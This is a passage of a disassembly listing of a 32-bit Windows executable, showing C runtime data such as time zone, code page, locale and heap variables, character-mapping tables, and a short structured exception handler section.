_TIME_ZONE_INFORMATION TimeZoneInformation TimeZoneInformation _TIME_ZONE_INFORMATION <0> ; DATA XREF: __tzset+33o ; __tzset+46r ... ; void *dword_47055C dword_47055C dd 0 ; __tzset:loc_419458r ... dword_470560 dd 0 dword_470564 dd 0 ; ___crtMessageBoxA+2Ew ... dword_470568 dd 0 ; ___crtMessageBoxA:loc_4198E7r dword_47056C dd 0 ; ___crtMessageBoxA+60r dword_470570 dd 0 ; _raise+6Do dword_470574 dd 0 ; _raise+44o dword_470578 dd 0 ; _raise+37o dword_47057C dd 0 ; _raise+51o dd 0 dword_470584 dd 0 dword_470588 dd 0 ; ___crtCompareStringA+48w ... byte_47058C db 1 ; DATA XREF: sub_403540+3r ; sub_403540+11r ... align 10h dword_470590 dd 344968h ; __getstream+14r ... align 10h dword_4705A0 dd 400h dup(0) ; .data:00424010o ; size_t NumOfElements NumOfElements dd 200h ; DATA XREF: _flsall+9r _flsall+56r ... ; UINT CodePage CodePage dd 4E4h ; DATA XREF: __setmbcp+14r ; __setmbcp+65w ... align 10h dword_4715B0 dd 3 dup(0) ; __setmbcp+171o ... dword_4715BC dd 0 ; __setmbcp+15Dw ... byte_4715C0 db 0 ; DATA XREF: _setSBUpLow:loc_417658w ; _setSBUpLow:loc_417675w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4716C0 db 0 ; DATA XREF: __setmbcp+5Co ; __setmbcp+AFo ... byte_4716C1 db 0 ; DATA XREF: __splitpath+5Dr ; __setmbcp+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h ; LCID Locale Locale dd 0 ; DATA XREF: __setmbcp+6Ew ; __setmbcp+12Bw ... dd 6 dup(0) dword_4717E0 dd 480EF0h dword_4717E4 dd 3Fh dup(0) ; UINT uNumber uNumber dd 20h ; DATA XREF: __close+8r __read+Cr ... dword_4718E4 dd 10h ; ___sbh_alloc_new_region+5r ... dword_4718E8 dd 0 ; ___sbh_free_block+259r ... dword_4718EC dd 340650h ; ___sbh_free_block+310w ... ; void *Dst Dst dd 0 ; DATA XREF: ___sbh_heap_init:loc_412F0Fw ; ___sbh_free_block+22Cr ... dword_4718F4 dd 1 ; ___sbh_find_blockr ... ; LPVOID lpMem lpMem dd 340650h ; DATA XREF: ___sbh_heap_init+15w ; ___sbh_find_block+8r ... ; HANDLE hHeap hHeap dd 340000h ; DATA XREF: __heap_alloc+28r ; _free+21r ... dword_471900 dd 142350h dword_471904 dd 1 dword_471908 dd 1 ; ___initmbctable+11w ... dword_47190C dd 480E64h ; __onexit:loc_411A90r ... ; LPCVOID dword_471910 dword_471910 dd 480E60h align 100h _data ends ; Section 4. (virtual address 00072000) ; Virtual size : 00000018 ( 24.) ; Section size in file : 00000018 ( 24.) ; Offset to raw data for section: 0006FA00 ; Flags C0000240: Data Comment Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _sxdata segment para public 'DATA' use32 assume cs:_sxdata ;org 472000h dd 127h, 19Ch, 1DCh, 221h, 233h, 290h align 200h _sxdata ends end start